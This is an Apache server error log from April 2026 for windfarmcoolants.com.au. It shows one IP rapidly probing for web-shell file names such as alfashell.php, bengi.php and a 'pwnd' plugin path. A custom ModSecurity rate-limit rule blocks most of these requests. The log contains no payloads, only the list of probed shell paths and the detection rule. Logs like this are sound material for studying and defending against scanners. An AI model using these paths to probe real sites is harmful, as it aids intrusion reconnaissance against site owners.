[Tue Apr 14 22:03:24.708517 2026] [:error] [pid 59985:tid 60013] [client 20.188.36.87:13368] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ad5JLOgHaxkvLE6V1klsoAAAABQ"]
[Tue Apr 14 22:03:25.180389 2026] [:error] [pid 59985:tid 60001] [client 20.188.36.87:11188] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "ad5JLegHaxkvLE6V1klsogAAAAg"]
[Tue Apr 14 22:03:25.652175 2026] [:error] [pid 3778:tid 3802] [client 20.188.36.87:13352] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "ad5JLRx5DfpNmYF_PaH3rwAAAVY"]
[Tue Apr 14 22:03:26.123375 2026] [:error] [pid 3778:tid 3793] [client 20.188.36.87:11090] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "ad5JLhx5DfpNmYF_PaH3sgAAAU0"]
[Tue Apr 14 22:03:26.595134 2026] [:error] [pid 3778:tid 3797] [client 20.188.36.87:11087] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "ad5JLhx5DfpNmYF_PaH3swAAAVE"]
[Tue Apr 14 22:03:27.065849 2026] [:error] [pid 59986:tid 60034] [client 20.188.36.87:11099] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "ad5JL56axKeW6bX4H7eWCAAAAE4"]
[Tue Apr 14 22:03:27.537202 2026] [:error] [pid 59986:tid 60039] [client 20.188.36.87:11096] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "ad5JL56axKeW6bX4H7eWCQAAAFM"]
[Tue Apr 14 22:03:28.009706 2026] [:error] [pid 59986:tid 60022] [client 20.188.36.87:11148] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "ad5JMJ6axKeW6bX4H7eWCwAAAEI"]
[Tue Apr 14 22:03:28.479875 2026] [:error] [pid 59986:tid 60035] [client 20.188.36.87:11261] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "ad5JMJ6axKeW6bX4H7eWEAAAAE8"]
[Tue Apr 14 22:03:28.950678 2026] [:error] [pid 59986:tid 60040] [client 20.188.36.87:11175] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ad5JMJ6axKeW6bX4H7eWEQAAAFQ"]
[Tue Apr 14 22:03:29.422720 2026] [:error] [pid 3810:tid 3817] [client 20.188.36.87:11085] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ad5JMcqc5XaYZhFXVGe52QAAAYQ"]
[Tue Apr 14 22:03:29.893076 2026] [:error] [pid 59986:tid 60022] [client 20.188.36.87:11254] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ad5JMZ6axKeW6bX4H7eWFwAAAEI"]
[Tue Apr 14 22:03:30.371799 2026] [:error] [pid 3778:tid 3803] [client 20.188.36.87:11193] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ad5JMhx5DfpNmYF_PaH3uwAAAVc"]
[Tue Apr 14 22:03:30.847160 2026] [:error] [pid 59986:tid 60044] [client 20.188.36.87:11110] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "ad5JMp6axKeW6bX4H7eWHQAAAFg"]
[Tue Apr 14 22:03:31.317655 2026] [:error] [pid 59985:tid 59999] [client 20.188.36.87:11088] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "ad5JM-gHaxkvLE6V1klspQAAAAY"]
[Tue Apr 14 22:03:31.789099 2026] [:error] [pid 60074:tid 60086] [client 20.188.36.87:11157] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "ad5JM-tqnEmNU9vpHCm1VQAAAMo"]
[Tue Apr 14 22:03:32.263275 2026] [:error] [pid 3810:tid 3814] [client 20.188.36.87:11177] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "ad5JNMqc5XaYZhFXVGe53AAAAYE"]
[Tue Apr 14 22:03:32.734922 2026] [:error] [pid 3810:tid 3821] [client 20.188.36.87:11143] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bengi.php"] [unique_id "ad5JNMqc5XaYZhFXVGe53QAAAYg"]
[Tue Apr 14 22:03:33.205743 2026] [:error] [pid 59985:tid 59994] [client 20.188.36.87:11079] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bengi.php"] [unique_id "ad5JNegHaxkvLE6V1klsqAAAAAE"]
[Tue Apr 14 22:03:33.684450 2026] [:error] [pid 60074:tid 60077] [client 20.188.36.87:11246] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bengi.php"] [unique_id "ad5JNetqnEmNU9vpHCm1WwAAAME"]
[Tue Apr 14 22:03:34.159355 2026] [:error] [pid 3810:tid 3815] [client 20.188.36.87:11115] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bengi.php"] [unique_id "ad5JNsqc5XaYZhFXVGe55AAAAYI"]
[Tue Apr 14 22:03:34.637585 2026] [:error] [pid 60074:tid 60094] [client 20.188.36.87:11199] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ad5JNutqnEmNU9vpHCm1YQAAANI"]
[Tue Apr 14 22:03:35.356700 2026] [:error] [pid 60074:tid 60097] [client 20.188.36.87:11152] File does not exist: /usr/local/apache/htdocs/suspended-page/axx.php
[Tue Apr 14 22:03:35.598854 2026] [:error] [pid 60074:tid 60078] [client 20.188.36.87:11152] File does not exist: /usr/local/apache/htdocs/suspended-page/alfashell.php
[Tue Apr 14 22:03:35.840321 2026] [:error] [pid 60074:tid 60100] [client 20.188.36.87:11152] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Tue Apr 14 22:03:36.085268 2026] [:error] [pid 60074:tid 60099] [client 20.188.36.87:11152] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Tue Apr 14 22:03:36.324732 2026] [:error] [pid 60074:tid 60098] [client 20.188.36.87:11152] File does not exist: /usr/local/apache/htdocs/suspended-page/file48.php
[Tue Apr 14 22:03:36.567103 2026] [:error] [pid 60074:tid 60093] [client 20.188.36.87:11152] File does not exist: /usr/local/apache/htdocs/suspended-page/g.php
[Tue Apr 14 22:03:37.048387 2026] [:error] [pid 60074:tid 60083] [client 20.188.36.87:11152] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Tue Apr 14 22:03:37.288307 2026] [:error] [pid 60074:tid 60091] [client 20.188.36.87:11152] File does not exist: /usr/local/apache/htdocs/suspended-page/ew.php
[Tue Apr 14 22:03:37.529675 2026] [:error] [pid 60074:tid 60077] [client 20.188.36.87:11152] File does not exist: /usr/local/apache/htdocs/suspended-page/file21.php
[Tue Apr 14 22:03:37.767200 2026] [:error] [pid 60074:tid 60090] [client 20.188.36.87:11152] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "ad5JOetqnEmNU9vpHCm1dAAAAM4"]
[Tue Apr 14 22:03:38.239247 2026] [:error] [pid 59986:tid 60040] [client 20.188.36.87:11105] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "ad5JOp6axKeW6bX4H7eWMAAAAFQ"]
[Tue Apr 14 22:03:38.710734 2026] [:error] [pid 59985:tid 59998] [client 20.188.36.87:11080] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "ad5JOugHaxkvLE6V1klsrgAAAAU"]
[Tue Apr 14 22:03:39.196371 2026] [:error] [pid 59986:tid 60022] [client 20.188.36.87:11135] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "ad5JO56axKeW6bX4H7eWNAAAAEI"]
[Tue Apr 14 22:03:39.669032 2026] [:error] [pid 3810:tid 3836] [client 20.188.36.87:11139] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "ad5JO8qc5XaYZhFXVGe56gAAAZc"]
[Tue Apr 14 22:03:40.139828 2026] [:error] [pid 3778:tid 3785] [client 20.188.36.87:11020] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "ad5JPBx5DfpNmYF_PaH3xgAAAUU"]
[Tue Apr 14 22:03:40.611844 2026] [:error] [pid 22177:tid 22179] [client 20.188.36.87:11091] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "ad5JPITVeJSXHDIlEDuSAwAAAQA"]
[Tue Apr 14 22:03:41.082379 2026] [:error] [pid 59985:tid 60004] [client 20.188.36.87:11181] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "ad5JPegHaxkvLE6V1klsswAAAAs"]
[Tue Apr 14 22:03:41.551943 2026] [:error] [pid 59985:tid 59999] [client 20.188.36.87:11104] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vee.php"] [unique_id "ad5JPegHaxkvLE6V1klstQAAAAY"]
[Tue Apr 14 22:03:42.022478 2026] [:error] [pid 59985:tid 59994] [client 20.188.36.87:11224] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vee.php"] [unique_id "ad5JPugHaxkvLE6V1klsuAAAAAE"]
[Tue Apr 14 22:03:42.493517 2026] [:error] [pid 59985:tid 60009] [client 20.188.36.87:11057] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vee.php"] [unique_id "ad5JPugHaxkvLE6V1klsvQAAABA"]
[Tue Apr 14 22:03:42.965264 2026] [:error] [pid 59987:tid 60061] [client 20.188.36.87:13497] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vee.php"] [unique_id "ad5JPlWpk-Tfi6_vLKpCHQAAAI4"]
[Tue Apr 14 22:03:43.436340 2026] [:error] [pid 3810:tid 3822] [client 20.188.36.87:11184] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "ad5JP8qc5XaYZhFXVGe57gAAAYk"]
[Tue Apr 14 22:03:43.908056 2026] [:error] [pid 59986:tid 60037] [client 20.188.36.87:11250] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "ad5JP56axKeW6bX4H7eWSAAAAFE"]
[Tue Apr 14 22:03:44.379425 2026] [:error] [pid 59986:tid 60025] [client 20.188.36.87:11078] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "ad5JQJ6axKeW6bX4H7eWSwAAAEU"]
[Tue Apr 14 22:03:44.850000 2026] [:error] [pid 59986:tid 60042] [client 20.188.36.87:11009] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cabs.php"] [unique_id "ad5JQJ6axKeW6bX4H7eWTQAAAFY"]
[Tue Apr 14 22:03:45.319957 2026] [:error] [pid 59986:tid 60031] [client 20.188.36.87:11165] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "ad5JQZ6axKeW6bX4H7eWTwAAAEs"]
[Tue Apr 14 22:03:45.793652 2026] [:error] [pid 59986:tid 60040] [client 20.188.36.87:11240] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "ad5JQZ6axKeW6bX4H7eWUAAAAFQ"]
[Tue Apr 14 22:03:46.271755 2026] [:error] [pid 59986:tid 60024] [client 20.188.36.87:11109] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "ad5JQp6axKeW6bX4H7eWUgAAAEQ"]
[Tue Apr 14 22:03:46.750019 2026] [:error] [pid 59986:tid 60034] [client 20.188.36.87:11167] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "ad5JQp6axKeW6bX4H7eWVQAAAE4"]
[Tue Apr 14 22:03:47.220764 2026] [:error] [pid 59986:tid 60043] [client 20.188.36.87:11122] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "ad5JQ56axKeW6bX4H7eWWQAAAFc"]
[Tue Apr 14 22:03:47.690652 2026] [:error] [pid 60074:tid 60083] [client 20.188.36.87:11075] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "ad5JQ-tqnEmNU9vpHCm1ewAAAMc"]
[Tue Apr 14 22:03:48.161032 2026] [:error] [pid 3810:tid 3831] [client 20.188.36.87:11164] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "ad5JRMqc5XaYZhFXVGe5-gAAAZI"]
[Tue Apr 14 22:03:48.635814 2026] [:error] [pid 3810:tid 3827] [client 20.188.36.87:11185] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "ad5JRMqc5XaYZhFXVGe5-wAAAY4"]
[Tue Apr 14 22:03:49.108386 2026] [:error] [pid 3810:tid 3829] [client 20.188.36.87:11017] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "ad5JRcqc5XaYZhFXVGe5_wAAAZA"]
[Tue Apr 14 22:03:49.579911 2026] [:error] [pid 3778:tid 3781] [client 20.188.36.87:11097] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "ad5JRRx5DfpNmYF_PaH3ygAAAUE"]
[Tue Apr 14 22:03:50.050207 2026] [:error] [pid 59985:tid 60012] [client 20.188.36.87:11029] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "ad5JRugHaxkvLE6V1klswgAAABM"]
[Tue Apr 14 22:03:50.520021 2026] [:error] [pid 59986:tid 60029] [client 20.188.36.87:11261] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jp.php"] [unique_id "ad5JRp6axKeW6bX4H7eWYgAAAEk"]
[Tue Apr 14 22:03:50.990105 2026] [:error] [pid 3810:tid 3836] [client 20.188.36.87:11094] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "ad5JRsqc5XaYZhFXVGe6BwAAAZc"]
[Tue Apr 14 22:03:51.460344 2026] [:error] [pid 60074:tid 60078] [client 20.188.36.87:11161] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "ad5JR-tqnEmNU9vpHCm1hAAAAMI"]
[Tue Apr 14 22:03:51.930829 2026] [:error] [pid 3778:tid 3799] [client 20.188.36.87:11098] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "ad5JRxx5DfpNmYF_PaH30AAAAVM"]
